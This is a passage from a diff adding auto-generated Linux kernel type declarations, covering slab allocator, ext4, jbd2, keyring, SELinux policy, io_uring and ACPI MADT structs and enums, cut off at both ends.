*kp_ptr; + struct slab *kp_slab; + void *kp_objp; + long unsigned int kp_data_offset; + struct kmem_cache *kp_slab_cache; + void *kp_ret; + void *kp_stack[16]; + void *kp_free_stack[16]; +}; + +struct memory_notify { + long unsigned int start_pfn; + long unsigned int nr_pages; + int status_change_nid_normal; + int status_change_nid; +}; + +struct partial_context { + struct slab **slab; + gfp_t flags; + unsigned int orig_size; +}; + +struct track { + long unsigned int addr; + depot_stack_handle_t handle; + int cpu; + int pid; + long unsigned int when; +}; + +enum track_item { + TRACK_ALLOC = 0, + TRACK_FREE = 1, +}; + +struct slub_flush_work { + struct work_struct work; + struct kmem_cache *s; + bool skip; +}; + +struct detached_freelist { + struct slab *slab; + void *tail; + void *freelist; + int cnt; + struct kmem_cache *s; +}; + +struct location { + depot_stack_handle_t handle; + long unsigned int count; + long unsigned int addr; + long unsigned int waste; + long long int sum_time; + long int min_time; + long int max_time; + long int min_pid; + long int max_pid; + long unsigned int cpus[2]; + nodemask_t nodes; +}; + +struct loc_track { + long unsigned int max; + long unsigned int count; + struct location *loc; + loff_t idx; +}; + +enum slab_stat_type { + SL_ALL = 0, + SL_PARTIAL = 1, + SL_CPU = 2, + SL_OBJECTS = 3, + SL_TOTAL = 4, +}; + +struct slab_attribute { + struct attribute attr; + ssize_t (*show)(struct kmem_cache *, char *); + ssize_t (*store)(struct kmem_cache *, const char *, size_t); +}; + +struct saved_alias { + struct kmem_cache *s; + const char *name; + struct saved_alias *next; +}; + +enum slab_modes { + M_NONE = 0, + M_PARTIAL = 1, + M_FREE = 2, + M_FULL_NOLIST = 3, +}; + +struct wait_bit_key { + void *flags; + int bit_nr; + long unsigned int timeout; +}; + +struct wait_bit_queue_entry { + struct wait_bit_key key; + struct wait_queue_entry wq_entry; +}; + +enum { + MBE_REFERENCED_B = 0, + MBE_REUSABLE_B = 1, +}; + +struct mb_cache_entry { + struct list_head e_list; + struct hlist_bl_node e_hash_list; + atomic_t e_refcnt; + u32 e_key; + long unsigned int e_flags; + u64 e_value; +}; + +struct mb_cache { + struct hlist_bl_head *c_hash; + int c_bucket_bits; + long unsigned int c_max_entries; + spinlock_t c_list_lock; + struct list_head c_list; + long unsigned int c_entry_count; + struct shrinker c_shrink; + struct work_struct c_shrink_work; +}; + +enum cons_flags { + CON_PRINTBUFFER = 1, + CON_CONSDEV = 2, + CON_ENABLED = 4, + CON_BOOT = 8, + CON_ANYTIME = 16, + CON_BRL = 32, + CON_EXTENDED = 64, +}; + +struct kernfs_global_locks { + struct mutex open_file_mutex[1024]; +}; + +enum kernfs_node_type { + KERNFS_DIR = 1, + KERNFS_FILE = 2, + KERNFS_LINK = 4, +}; + +enum kernfs_node_flag { + KERNFS_ACTIVATED = 16, + KERNFS_NS = 32, + KERNFS_HAS_SEQ_SHOW = 64, + KERNFS_HAS_MMAP = 128, + KERNFS_LOCKDEP = 256, + KERNFS_HIDDEN = 512, + KERNFS_SUICIDAL = 1024, + KERNFS_SUICIDED = 2048, + KERNFS_EMPTY_DIR = 4096, + KERNFS_HAS_RELEASE = 8192, + KERNFS_REMOVING = 16384, +}; + +enum kernfs_root_flag { + KERNFS_ROOT_CREATE_DEACTIVATED = 1, + KERNFS_ROOT_EXTRA_OPEN_PERM_CHECK = 2, + KERNFS_ROOT_SUPPORT_EXPORTOP = 4, + KERNFS_ROOT_SUPPORT_USER_XATTR = 8, +}; + +struct kernfs_root { + struct kernfs_node *kn; + unsigned int flags; + struct idr ino_idr; + u32 last_id_lowbits; + u32 id_highbits; + struct kernfs_syscall_ops *syscall_ops; + struct list_head supers; + wait_queue_head_t deactivate_waitq; + struct rw_semaphore kernfs_rwsem; + struct rw_semaphore kernfs_iattr_rwsem; + struct rw_semaphore kernfs_supers_rwsem; +}; + +struct simple_xattrs { + struct rb_root rb_root; + rwlock_t lock; +}; + +struct kernfs_iattrs { + kuid_t ia_uid; + kgid_t ia_gid; + struct timespec64 ia_atime; + struct timespec64 ia_mtime; + struct timespec64 ia_ctime; + struct simple_xattrs xattrs; + atomic_t nr_user_xattrs; + atomic_t user_xattr_size; +}; + +struct jbd2_journal_handle; + +typedef struct jbd2_journal_handle handle_t; + +struct jbd2_journal_handle { + union { + transaction_t *h_transaction; + journal_t *h_journal; + }; + handle_t *h_rsv_handle; + int h_total_credits; + int h_revoke_credits; + int h_revoke_credits_requested; + int h_ref; + int h_err; + unsigned int h_sync: 1; + unsigned int h_jdata: 1; + unsigned int h_reserved: 1; + unsigned int h_aborted: 1; + unsigned int h_type: 8; + unsigned int h_line_no: 16; + long unsigned int h_start_jiffies; + unsigned int h_requested_credits; + unsigned int saved_alloc_context; +}; + +enum { + EXT4_INODE_SECRM = 0, + EXT4_INODE_UNRM = 1, + EXT4_INODE_COMPR = 2, + EXT4_INODE_SYNC = 3, + EXT4_INODE_IMMUTABLE = 4, + EXT4_INODE_APPEND = 5, + EXT4_INODE_NODUMP = 6, + EXT4_INODE_NOATIME = 7, + EXT4_INODE_DIRTY = 8, + EXT4_INODE_COMPRBLK = 9, + EXT4_INODE_NOCOMPR = 10, + EXT4_INODE_ENCRYPT = 11, + EXT4_INODE_INDEX = 12, + EXT4_INODE_IMAGIC = 13, + EXT4_INODE_JOURNAL_DATA = 14, + EXT4_INODE_NOTAIL = 15, + EXT4_INODE_DIRSYNC = 16, + EXT4_INODE_TOPDIR = 17, + EXT4_INODE_HUGE_FILE = 18, + EXT4_INODE_EXTENTS = 19, + EXT4_INODE_VERITY = 20, + EXT4_INODE_EA_INODE = 21, + EXT4_INODE_DAX = 25, + EXT4_INODE_INLINE_DATA = 28, + EXT4_INODE_PROJINHERIT = 29, + EXT4_INODE_CASEFOLD = 30, + EXT4_INODE_RESERVED = 31, +}; + +struct extent_status { + struct rb_node rb_node; + ext4_lblk_t es_lblk; + ext4_lblk_t es_len; + ext4_fsblk_t es_pblk; +}; + +struct ext4_es_tree { + struct rb_root root; + struct extent_status *cache_es; +}; + +struct ext4_pending_tree { + struct rb_root root; +}; + +struct ext4_inode_info { + __le32 i_data[15]; + __u32 i_dtime; + ext4_fsblk_t i_file_acl; + ext4_group_t i_block_group; + ext4_lblk_t i_dir_start_lookup; + long unsigned int i_flags; + struct rw_semaphore xattr_sem; + union { + struct list_head i_orphan; + unsigned int i_orphan_idx; + }; + struct list_head i_fc_dilist; + struct list_head i_fc_list; + ext4_lblk_t i_fc_lblk_start; + ext4_lblk_t i_fc_lblk_len; + atomic_t i_fc_updates; + wait_queue_head_t i_fc_wait; + struct mutex i_fc_lock; + loff_t i_disksize; + struct rw_semaphore i_data_sem; + struct inode vfs_inode; + struct jbd2_inode *jinode; + spinlock_t i_raw_lock; + struct timespec64 i_crtime; + atomic_t i_prealloc_active; + struct rb_root i_prealloc_node; + rwlock_t i_prealloc_lock; + struct ext4_es_tree i_es_tree; + rwlock_t i_es_lock; + struct list_head i_es_list; + unsigned int i_es_all_nr; + unsigned int i_es_shk_nr; + ext4_lblk_t i_es_shrink_lblk; + ext4_group_t i_last_alloc_group; + unsigned int i_reserved_data_blocks; + struct ext4_pending_tree i_pending_tree; + __u16 i_extra_isize; + u16 i_inline_off; + u16 i_inline_size; + spinlock_t i_completed_io_lock; + struct list_head i_rsv_conversion_list; + struct work_struct i_rsv_conversion_work; + atomic_t i_unwritten; + spinlock_t i_block_reservation_lock; + tid_t i_sync_tid; + tid_t i_datasync_tid; + __u32 i_csum_seed; + kprojid_t i_projid; +}; + +enum { + EXT4_STATE_NEW = 0, + EXT4_STATE_XATTR = 1, + EXT4_STATE_NO_EXPAND = 2, + EXT4_STATE_DA_ALLOC_CLOSE = 3, + EXT4_STATE_EXT_MIGRATE = 4, + EXT4_STATE_NEWENTRY = 5, + EXT4_STATE_MAY_INLINE_DATA = 6, + EXT4_STATE_EXT_PRECACHED = 7, + EXT4_STATE_LUSTRE_EA_INODE = 8, + EXT4_STATE_VERITY_IN_PROGRESS = 9, + EXT4_STATE_FC_COMMITTING = 10, + EXT4_STATE_ORPHAN_FILE = 11, +}; + +struct ext4_extent { + __le32 ee_block; + __le16 ee_len; + __le16 ee_start_hi; + __le32 ee_start_lo; +}; + +struct ext4_extent_idx { + __le32 ei_block; + __le32 ei_leaf_lo; + __le16 ei_leaf_hi; + __u16 ei_unused; +}; + +struct ext4_extent_header { + __le16 eh_magic; + __le16 eh_entries; + __le16 eh_max; + __le16 eh_depth; + __le32 eh_generation; +}; + +struct ext4_ext_path { + ext4_fsblk_t p_block; + __u16 p_depth; + __u16 p_maxdepth; + struct ext4_extent *p_ext; + struct ext4_extent_idx *p_idx; + struct ext4_extent_header *p_hdr; + struct buffer_head *p_bh; +}; + +struct migrate_struct { + ext4_lblk_t first_block; + ext4_lblk_t last_block; + ext4_lblk_t curr_block; + ext4_fsblk_t first_pblock; + ext4_fsblk_t last_pblock; +}; + +enum req_flag_bits { + __REQ_FAILFAST_DEV = 8, + __REQ_FAILFAST_TRANSPORT = 9, + __REQ_FAILFAST_DRIVER = 10, + __REQ_SYNC = 11, + __REQ_META = 12, + __REQ_PRIO = 13, + __REQ_NOMERGE = 14, + __REQ_IDLE = 15, + __REQ_INTEGRITY = 16, + __REQ_FUA = 17, + __REQ_PREFLUSH = 18, + __REQ_RAHEAD = 19, + __REQ_BACKGROUND = 20, + __REQ_NOWAIT = 21, + __REQ_POLLED = 22, + __REQ_ALLOC_CACHE = 23, + __REQ_SWAP = 24, + __REQ_DRV = 25, + __REQ_FS_PRIVATE = 26, + __REQ_NOUNMAP = 27, + __REQ_NR_BITS = 28, +}; + +enum bh_state_bits { + BH_Uptodate = 0, + BH_Dirty = 1, + BH_Lock = 2, + BH_Req = 3, + BH_Mapped = 4, + BH_New = 5, + BH_Async_Read = 6, + BH_Async_Write = 7, + BH_Delay = 8, + BH_Boundary = 9, + BH_Write_EIO = 10, + BH_Unwritten = 11, + BH_Quiet = 12, + BH_Meta = 13, + BH_Prio = 14, + BH_Defer_Completion = 15, + BH_PrivateStart = 16, +}; + +struct jbd2_journal_revoke_header_s { + journal_header_t r_header; + __be32 r_count; +}; + +typedef struct jbd2_journal_revoke_header_s jbd2_journal_revoke_header_t; + +enum jbd_state_bits { + BH_JBD = 16, + BH_JWrite = 17, + BH_Freed = 18, + BH_Revoked = 19, + BH_RevokeValid = 20, + BH_JBDDirty = 21, + BH_JournalHead = 22, + BH_Shadow = 23, + BH_Verified = 24, + BH_JBDPrivateStart = 25, +}; + +struct jbd2_revoke_table_s { + int hash_size; + int hash_shift; + struct list_head *hash_table; +}; + +struct jbd2_revoke_record_s { + struct list_head hash; + tid_t sequence; + long long unsigned int blocknr; +}; + +struct tree_descr { + const char *name; + const struct file_operations *ops; + int mode; +}; + +typedef struct vfsmount * (*debugfs_automount_t)(struct dentry *, void *); + +struct debugfs_fsdata { + const struct file_operations *real_fops; + refcount_t active_users; + struct completion active_users_drained; +}; + +struct debugfs_mount_opts { + kuid_t uid; + kgid_t gid; + umode_t mode; + unsigned int opts; +}; + +enum { + Opt_uid = 0, + Opt_gid = 1, + Opt_mode = 2, + Opt_err___2 = 3, +}; + +struct debugfs_fs_info { + struct debugfs_mount_opts mount_opts; +}; + +enum key_need_perm { + KEY_NEED_UNSPECIFIED = 0, + KEY_NEED_VIEW = 1, + KEY_NEED_READ = 2, + KEY_NEED_WRITE = 3, + KEY_NEED_SEARCH = 4, + KEY_NEED_LINK = 5, + KEY_NEED_SETATTR = 6, + KEY_NEED_UNLINK = 7, + KEY_SYSADMIN_OVERRIDE = 8, + KEY_AUTHTOKEN_OVERRIDE = 9, + KEY_DEFER_PERM_CHECK = 10, +}; + +struct __key_reference_with_attributes; + +typedef struct __key_reference_with_attributes *key_ref_t; + +enum key_state { + KEY_IS_UNINSTANTIATED = 0, + KEY_IS_POSITIVE = 1, +}; + +struct key_user { + struct rb_node node; + struct mutex cons_lock; + spinlock_t lock; + refcount_t usage; + atomic_t nkeys; + atomic_t nikeys; + kuid_t uid; + int qnkeys; + int qnbytes; +}; + +struct key_preparsed_payload { + const char *orig_description; + char *description; + union key_payload payload; + const void *data; + size_t datalen; + size_t quotalen; + time64_t expiry; +}; + +struct key_match_data { + bool (*cmp)(const struct key *, const struct key_match_data *); + const void *raw_data; + void *preparsed; + unsigned int lookup_type; +}; + +enum kernel_pkey_operation { + kernel_pkey_encrypt = 0, + kernel_pkey_decrypt = 1, + kernel_pkey_sign = 2, + kernel_pkey_verify = 3, +}; + +struct kernel_pkey_params { + struct key *key; + const char *encoding; + const char *hash_algo; + char *info; + __u32 in_len; + union { + __u32 out_len; + __u32 in2_len; + }; + enum kernel_pkey_operation op: 8; +}; + +struct kernel_pkey_query { + __u32 supported_ops; + __u32 key_size; + __u16 max_data_size; + __u16 max_sig_size; + __u16 max_enc_size; + __u16 max_dec_size; +}; + +struct keyring_search_context { + struct keyring_index_key index_key; + const struct cred *cred; + struct key_match_data match_data; + unsigned int flags; + int (*iterator)(const void *, void *); + int skipped_ret; + bool possessed; + key_ref_t result; + time64_t now; +}; + +struct netlbl_lsm_cache { + refcount_t refcount; + void (*free)(const void *); + void *data; +}; + +struct netlbl_lsm_catmap { + u32 startbit; + u64 bitmap[4]; + struct netlbl_lsm_catmap *next; +}; + +struct netlbl_lsm_secattr { + u32 flags; + u32 type; + char *domain; + struct netlbl_lsm_cache *cache; + struct { + struct { + struct netlbl_lsm_catmap *cat; + u32 lvl; + } mls; + u32 secid; + } attr; +}; + +struct ebitmap_node { + struct ebitmap_node *next; + long unsigned int maps[6]; + u32 startbit; +}; + +struct ebitmap { + struct ebitmap_node *node; + u32 highbit; +}; + +struct hashtab_node; + +struct hashtab { + struct hashtab_node **htable; + u32 size; + u32 nel; +}; + +struct symtab { + struct hashtab table; + u32 nprim; +}; + +struct avtab_node; + +struct avtab { + struct avtab_node **htable; + u32 nel; + u32 nslot; + u32 mask; +}; + +struct class_datum; + +struct role_datum; + +struct user_datum; + +struct type_datum; + +struct cond_bool_datum; + +struct cond_node; + +struct role_allow; + +struct ocontext; + +struct genfs; + +struct policydb { + int mls_enabled; + struct symtab symtab[8]; + char **sym_val_to_name[8]; + struct class_datum **class_val_to_struct; + struct role_datum **role_val_to_struct; + struct user_datum **user_val_to_struct; + struct type_datum **type_val_to_struct; + struct avtab te_avtab; + struct hashtab role_tr; + struct ebitmap filename_trans_ttypes; + struct hashtab filename_trans; + u32 compat_filename_trans_count; + struct cond_bool_datum **bool_val_to_struct; + struct avtab te_cond_avtab; + struct cond_node *cond_list; + u32 cond_list_len; + struct role_allow *role_allow; + struct ocontext *ocontexts[9]; + struct genfs *genfs; + struct hashtab range_tr; + struct ebitmap *type_attr_map_array; + struct ebitmap policycaps; + struct ebitmap permissive_map; + size_t len; + unsigned int policyvers; + unsigned int reject_unknown: 1; + unsigned int allow_unknown: 1; + u16 process_class; + u32 process_trans_perms; +}; + +struct selinux_mapping; + +struct selinux_map { + struct selinux_mapping *mapping; + u16 size; +}; + +struct sidtab; + +struct selinux_policy { + struct sidtab *sidtab; + struct policydb policydb; + struct selinux_map map; + u32 latest_granting; +}; + +struct extended_perms_data { + u32 p[8]; +}; + +struct mls_level { + u32 sens; + struct ebitmap cat; +}; + +struct mls_range { + struct mls_level level[2]; +}; + +struct context___2 { + u32 user; + u32 role; + u32 type; + u32 len; + struct mls_range range; + char *str; +}; + +struct sidtab_str_cache; + +struct sidtab_entry { + u32 sid; + u32 hash; + struct context___2 context; + struct sidtab_str_cache *cache; + struct hlist_node list; +}; + +struct sidtab_node_inner; + +struct sidtab_node_leaf; + +union sidtab_entry_inner { + struct sidtab_node_inner *ptr_inner; + struct sidtab_node_leaf *ptr_leaf; +}; + +struct sidtab_node_inner { + union sidtab_entry_inner entries[512]; +}; + +struct sidtab_node_leaf { + struct sidtab_entry entries[39]; +}; + +struct sidtab_isid_entry { + int set; + struct sidtab_entry entry; +}; + +struct convert_context_args; + +struct sidtab_convert_params { + struct convert_context_args *args; + struct sidtab *target; +}; + +struct convert_context_args { + struct policydb *oldp; + struct policydb *newp; +}; + +struct sidtab { + union sidtab_entry_inner roots[4]; + u32 count; + struct sidtab_convert_params *convert; + bool frozen; + spinlock_t lock; + u32 cache_free_slots; + struct list_head cache_lru_list; + spinlock_t cache_lock; + struct sidtab_isid_entry isids[27]; + struct hlist_head context_to_sid[512]; +}; + +struct hashtab_node { + void *key; + void *datum; + struct hashtab_node *next; +}; + +struct avtab_key { + u16 source_type; + u16 target_type; + u16 target_class; + u16 specified; +}; + +struct avtab_extended_perms { + u8 specified; + u8 driver; + struct extended_perms_data perms; +}; + +struct avtab_datum { + union { + u32 data; + struct avtab_extended_perms *xperms; + } u; +}; + +struct avtab_node { + struct avtab_key key; + struct avtab_datum datum; + struct avtab_node *next; +}; + +struct type_set; + +struct constraint_expr { + u32 expr_type; + u32 attr; + u32 op; + struct ebitmap names; + struct type_set *type_names; + struct constraint_expr *next; +}; + +struct type_set { + struct ebitmap types; + struct ebitmap negset; + u32 flags; +}; + +struct constraint_node { + u32 permissions; + struct constraint_expr *expr; + struct constraint_node *next; +}; + +struct common_datum { + u32 value; + struct symtab permissions; +}; + +struct class_datum { + u32 value; + char *comkey; + struct common_datum *comdatum; + struct symtab permissions; + struct constraint_node *constraints; + struct constraint_node *validatetrans; + char default_user; + char default_role; + char default_type; + char default_range; +}; + +struct role_datum { + u32 value; + u32 bounds; + struct ebitmap dominates; + struct ebitmap types; +}; + +struct role_allow { + u32 role; + u32 new_role; + struct role_allow *next; +}; + +struct type_datum { + u32 value; + u32 bounds; + unsigned char primary; + unsigned char attribute; +}; + +struct user_datum { + u32 value; + u32 bounds; + struct ebitmap roles; + struct mls_range range; + struct mls_level dfltlevel; +}; + +struct level_datum { + struct mls_level *level; + unsigned char isalias; +}; + +struct cat_datum { + u32 value; + unsigned char isalias; +}; + +struct range_trans { + u32 source_type; + u32 target_type; + u32 target_class; +}; + +struct cond_bool_datum { + __u32 value; + int state; +}; + +struct ocontext { + union { + char *name; + struct { + u8 protocol; + u16 low_port; + u16 high_port; + } port; + struct { + u32 addr; + u32 mask; + } node; + struct { + u32 addr[4]; + u32 mask[4]; + } node6; + struct { + u64 subnet_prefix; + u16 low_pkey; + u16 high_pkey; + } ibpkey; + struct { + char *dev_name; + u8 port; + } ibendport; + } u; + union { + u32 sclass; + u32 behavior; + } v; + struct context___2 context[2]; + u32 sid[2]; + struct ocontext *next; +}; + +struct genfs { + char *fstype; + struct ocontext *head; + struct genfs *next; +}; + +struct selinux_mapping { + u16 value; + unsigned int num_perms; + u32 perms[32]; +}; + +enum blake2b_lengths { + BLAKE2B_BLOCK_SIZE = 128, + BLAKE2B_HASH_SIZE = 64, + BLAKE2B_KEY_SIZE = 64, + BLAKE2B_160_HASH_SIZE = 20, + BLAKE2B_256_HASH_SIZE = 32, + BLAKE2B_384_HASH_SIZE = 48, + BLAKE2B_512_HASH_SIZE = 64, +}; + +struct blake2b_state { + u64 h[8]; + u64 t[2]; + u64 f[2]; + u8 buf[128]; + unsigned int buflen; + unsigned int outlen; +}; + +enum blake2b_iv { + BLAKE2B_IV0 = 7640891576956012808ULL, + BLAKE2B_IV1 = 13503953896175478587ULL, + BLAKE2B_IV2 = 4354685564936845355ULL, + BLAKE2B_IV3 = 11912009170470909681ULL, + BLAKE2B_IV4 = 5840696475078001361ULL, + BLAKE2B_IV5 = 11170449401992604703ULL, + BLAKE2B_IV6 = 2270897969802886507ULL, + BLAKE2B_IV7 = 6620516959819538809ULL, +}; + +typedef void (*blake2b_compress_t)(struct blake2b_state *, const u8 *, size_t, u32); + +struct blake2b_tfm_ctx { + u8 key[64]; + unsigned int keylen; +}; + +struct af_alg_type; + +struct alg_sock { + struct sock sk; + struct sock *parent; + atomic_t refcnt; + atomic_t nokey_refcnt; + const struct af_alg_type *type; + void *private; +}; + +struct af_alg_type { + void * (*bind)(const char *, u32, u32); + void (*release)(void *); + int (*setkey)(void *, const u8 *, unsigned int); + int (*setentropy)(void *, sockptr_t, unsigned int); + int (*accept)(void *, struct sock *); + int (*accept_nokey)(void *, struct sock *); + int (*setauthsize)(void *, unsigned int); + struct proto_ops *ops; + struct proto_ops *ops_nokey; + struct module *owner; + char name[14]; +}; + +struct af_alg_sgl { + struct scatterlist sg[17]; + struct page *pages[16]; + unsigned int npages; +}; + +struct hash_ctx { + struct af_alg_sgl sgl; + u8 *result; + struct crypto_wait wait; + unsigned int len; + bool more; + struct ahash_request req; +}; + +struct blk_flush_queue { + unsigned int flush_pending_idx: 1; + unsigned int flush_running_idx: 1; + blk_status_t rq_status; + long unsigned int flush_pending_since; + struct list_head flush_queue[2]; + struct list_head flush_data_in_flight; + struct request *flush_rq; + spinlock_t mq_flush_lock; +}; + +struct hvm_start_info { + uint32_t magic; + uint32_t version; + uint32_t flags; + uint32_t nr_modules; + uint64_t modlist_paddr; + uint64_t cmdline_paddr; + uint64_t rsdp_paddr; + uint64_t memmap_paddr; + uint32_t memmap_entries; + uint32_t reserved; +}; + +struct balloon_stats { + long unsigned int current_pages; + long unsigned int target_pages; + long unsigned int target_unpopulated; + long unsigned int balloon_low; + long unsigned int balloon_high; + long unsigned int total_pages; + long unsigned int schedule_delay; + long unsigned int max_schedule_delay; + long unsigned int retry_count; + long unsigned int max_retry_count; +}; + +struct blk_crypto_mode { + const char *name; + const char *cipher_str; + unsigned int keysize; + unsigned int ivsize; +}; + +struct blk_ia_range_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct blk_independent_access_range *, char *); +}; + +enum io_uring_cmd_flags { + IO_URING_F_COMPLETE_DEFER = 1, + IO_URING_F_UNLOCKED = 2, + IO_URING_F_MULTISHOT = 4, + IO_URING_F_IOWQ = 8, + IO_URING_F_NONBLOCK = -2147483648, + IO_URING_F_SQE128 = 256, + IO_URING_F_CQE32 = 512, + IO_URING_F_IOPOLL = 1024, +}; + +enum { + REQ_F_FIXED_FILE = 1, + REQ_F_IO_DRAIN = 2, + REQ_F_LINK = 4, + REQ_F_HARDLINK = 8, + REQ_F_FORCE_ASYNC = 16, + REQ_F_BUFFER_SELECT = 32, + REQ_F_CQE_SKIP = 64, + REQ_F_FAIL = 256, + REQ_F_INFLIGHT = 512, + REQ_F_CUR_POS = 1024, + REQ_F_NOWAIT = 2048, + REQ_F_LINK_TIMEOUT = 4096, + REQ_F_NEED_CLEANUP = 8192, + REQ_F_POLLED = 16384, + REQ_F_BUFFER_SELECTED = 32768, + REQ_F_BUFFER_RING = 65536, + REQ_F_REISSUE = 131072, + REQ_F_SUPPORT_NOWAIT = 1073741824, + REQ_F_ISREG = 2147483648, + REQ_F_CREDS = 262144, + REQ_F_REFCOUNT = 524288, + REQ_F_ARM_LTIMEOUT = 1048576, + REQ_F_ASYNC_DATA = 2097152, + REQ_F_SKIP_LINK_CQES = 4194304, + REQ_F_SINGLE_POLL = 8388608, + REQ_F_DOUBLE_POLL = 16777216, + REQ_F_PARTIAL_IO = 33554432, + REQ_F_APOLL_MULTISHOT = 134217728, + REQ_F_CQE32_INIT = 67108864, + REQ_F_CLEAR_POLLIN = 268435456, + REQ_F_HASH_LOCKED = 536870912, +}; + +enum { + IOU_OK = 0, + IOU_ISSUE_SKIP_COMPLETE = -529, + IOU_STOP_MULTISHOT = -125, +}; + +struct io_fadvise { + struct file *file; + u64 offset; + u32 len; + u32 advice; +}; + +struct io_madvise { + struct file *file; + u64 addr; + u32 len; + u32 advice; +}; + +struct vc { + struct vc_data *d; + struct work_struct SAK_work; +}; + +struct vt_spawn_console { + spinlock_t lock; + struct pid *pid; + int sig; +}; + +typedef long unsigned int mpi_limb_t; + +typedef mpi_limb_t *mpi_ptr_t; + +typedef int mpi_size_t; + +struct pci_cap_saved_data { + u16 cap_nr; + bool cap_extended; + unsigned int size; + u32 data[0]; +}; + +struct pci_cap_saved_state { + struct hlist_node next; + struct pci_cap_saved_data cap; +}; + +enum acpi_madt_type { + ACPI_MADT_TYPE_LOCAL_APIC = 0, + ACPI_MADT_TYPE_IO_APIC = 1, + ACPI_MADT_TYPE_INTERRUPT_OVERRIDE = 2, + ACPI_MADT_TYPE_NMI_SOURCE = 3, + ACPI_MADT_TYPE_LOCAL_APIC_NMI = 4, + ACPI_MADT_TYPE_LOCAL_APIC_OVERRIDE = 5, + ACPI_MADT_TYPE_IO_SAPIC = 6, + ACPI_MADT_TYPE_LOCAL_SAPIC = 7, + ACPI_MADT_TYPE_INTERRUPT_SOURCE = 8, + ACPI_MADT_TYPE_LOCAL_X2APIC = 9, + ACPI_MADT_TYPE_LOCAL_X2APIC_NMI = 10, + ACPI_MADT_TYPE_GENERIC_INTERRUPT = 11, + ACPI_MADT_TYPE_GENERIC_DISTRIBUTOR = 12, + ACPI_MADT_TYPE_GENERIC_MSI_FRAME = 13, + ACPI_MADT_TYPE_GENERIC_REDISTRIBUTOR = 14, + ACPI_MADT_TYPE_GENERIC_TRANSLATOR = 15, + ACPI_MADT_TYPE_MULTIPROC_WAKEUP = 16, + ACPI_MADT_TYPE_CORE_PIC = 17, + ACPI_MADT_TYPE_LIO_PIC = 18, + ACPI_MADT_TYPE_HT_PIC = 19, + ACPI_MADT_TYPE_EIO_PIC = 20, + ACPI_MADT_TYPE_MSI_PIC = 21, + ACPI_MADT_TYPE_BIO_PIC = 22, + ACPI_MADT_TYPE_LPC_PIC = 23, + ACPI_MADT_TYPE_RINTC = 24, + ACPI_MADT_TYPE_RESERVED = 25, + ACPI_MADT_TYPE_OEM_RESERVED = 128, +}; + +struct acpi_madt_local_apic { + struct acpi_subtable_header header; + u8 processor_id; + u8 id; + u32 lapic_flags; +}; + +struct acpi_madt_io_apic { + struct acpi_subtable_header header; + u8 id; + u8 reserved; + u32 address; + u32 global_irq_base; +}; + +struct acpi_madt_interrupt_override { + struct acpi_subtable_header header; + u8 bus; + u8 source_irq; + u32 global_irq; + u16 inti_flags; +} __attribute__((packed)); + +struct acpi_madt_nmi_source { + struct acpi_subtable_header header; + u16 inti_flags; + u32 global_irq; +}; + +struct acpi_madt_local_apic_nmi { + struct acpi_subtable_header header; + u8 processor_id; + u16 inti_flags; + u8 lint; +} __attribute__((packed)); + +struct acpi_madt_local_apic_override { + struct acpi_subtable_header header; + u16 reserved; + u64 address; +} __attribute__((packed)); + +struct acpi_madt_io_sapic { + struct acpi_subtable_header header; + u8 id; + u8 reserved; + u32 global_irq_base; + u64 address; +}; + +struct acpi_madt_local_sapic { + struct acpi_subtable_header header; + u8 processor_id; + u8 id; + u8 eid; + u8 reserved[3]; + u32 lapic_flags; + u32 uid; + char uid_string[0]; +}; + +struct acpi_madt_interrupt_source { + struct acpi_subtable_header header; + u16 inti_flags; + u8 type; + u8 id; + u8 eid; + u8 io_sapic_vector; + u32 global_irq; + u32 flags; +}; + +struct acpi_madt_local_x2apic { + struct acpi_subtable_header header; + u16 reserved; + u32 local_apic_id; + u32 lapic_flags; + u32 uid; +}; + +struct acpi_madt_local_x2apic_nmi { + struct acpi_subtable_header header; + u16 inti_flags; + u32 uid; + u8 lint; + u8 reserved[3]; +}; + +struct acpi_madt_generic_interrupt { + struct acpi_subtable_header header; + u16 reserved; + u32 cpu_interface_number; + u32 uid; + u32 flags; + u32 parking_version; + u32 performance_interrupt; + u64 parked_address; + u64 base_address; + u64 gicv_base_address; + u64 gich_base_address; + u32 vgic_interrupt; + u64 gicr_base_address; + u64 arm_mpidr; + u8 efficiency_class; + u8 reserved2[1]; + u16 spe_interrupt; + u16 trbe_interrupt; +} __attribute__((packed)); + +struct acpi_madt_generic_distributor { + struct acpi_subtable_header header; + u16 reserved; + u32 gic_id; + u64 base_address; + u32 global_irq_base; + u8 version; + u8 reserved2[3]; +}; + +struct acpi_madt_core_pic { + struct acpi_subtable_header header; + u8 version; + u32 processor_id; + u32 core_id; + u32 flags; +} __attribute__((packed)); + +enum acpi_subtable_type { + ACPI_SUBTABLE_COMMON = 0, + ACPI_SUBTABLE_HMAT = 1, + ACPI_SUBTABLE_PRMT = 2, + ACPI_SUBTABLE_CEDT = 3, +}; + +struct acpi_subtable_entry { + union acpi_subtable_headers *hdr; + enum acpi_subtable_type type; +}; + +enum pci_irq_reroute_variant { + INTEL_IRQ_REROUTE_VARIANT = 1, + MAX_IRQ_REROUTE_VARIANTS = 3, +}; + +struct acpi_pci_id { + u16 segment; + u16 bus; + u16 device; + u16 function; +}; + +struct acpi_pci_routing_table { + u32 length; + u32 pin; + u64 address; + u32 source_index; + union { + char pad[4]; + struct { + struct {} __Empty_source; + char source[0]; + }; + }; +}; + +struct acpi_prt_entry { + struct acpi_pci_id id; + u8 pin; + acpi_handle link; + u32 index; +}; + +struct prt_quirk { + const struct dmi_system_id *system; + unsigned int segment; + unsigned int bus; + unsigned int device; + unsigned char pin; + const char *source; + const char *actual_source; +}; + +typedef enum { + ACPI_IMODE_LOAD_PASS1 = 1, + ACPI_IMODE_LOAD_PASS2 = 2, + ACPI_IMODE_EXECUTE = 3, +} acpi_interpreter_mode; + +typedef u32 acpi_event_status; + +struct acpi_gpe_block_status_context { + struct acpi_gpe_register_info *gpe_skip_register_info; + u8 gpe_skip_mask; + u8 retval; +}; + +struct pnp_fixup { + char id[7]; + void (*quirk_function)(struct pnp_dev *); +}; + +struct pnp_port { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_size_t size; + unsigned char flags; +}; + +typedef struct { + long unsigned int bits[4]; +} pnp_irq_mask_t; + +struct pnp_irq { + pnp_irq_mask_t map; + unsigned char flags; +}; + +struct pnp_dma { + unsigned char map; + unsigned char flags; +}; + +struct pnp_mem { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_size_t size; + unsigned char flags; +}; + +struct pnp_option { + struct list_head list; + unsigned int flags; + long unsigned int type; + union { + struct pnp_port port; + struct pnp_irq irq; + struct pnp_dma dma; + struct 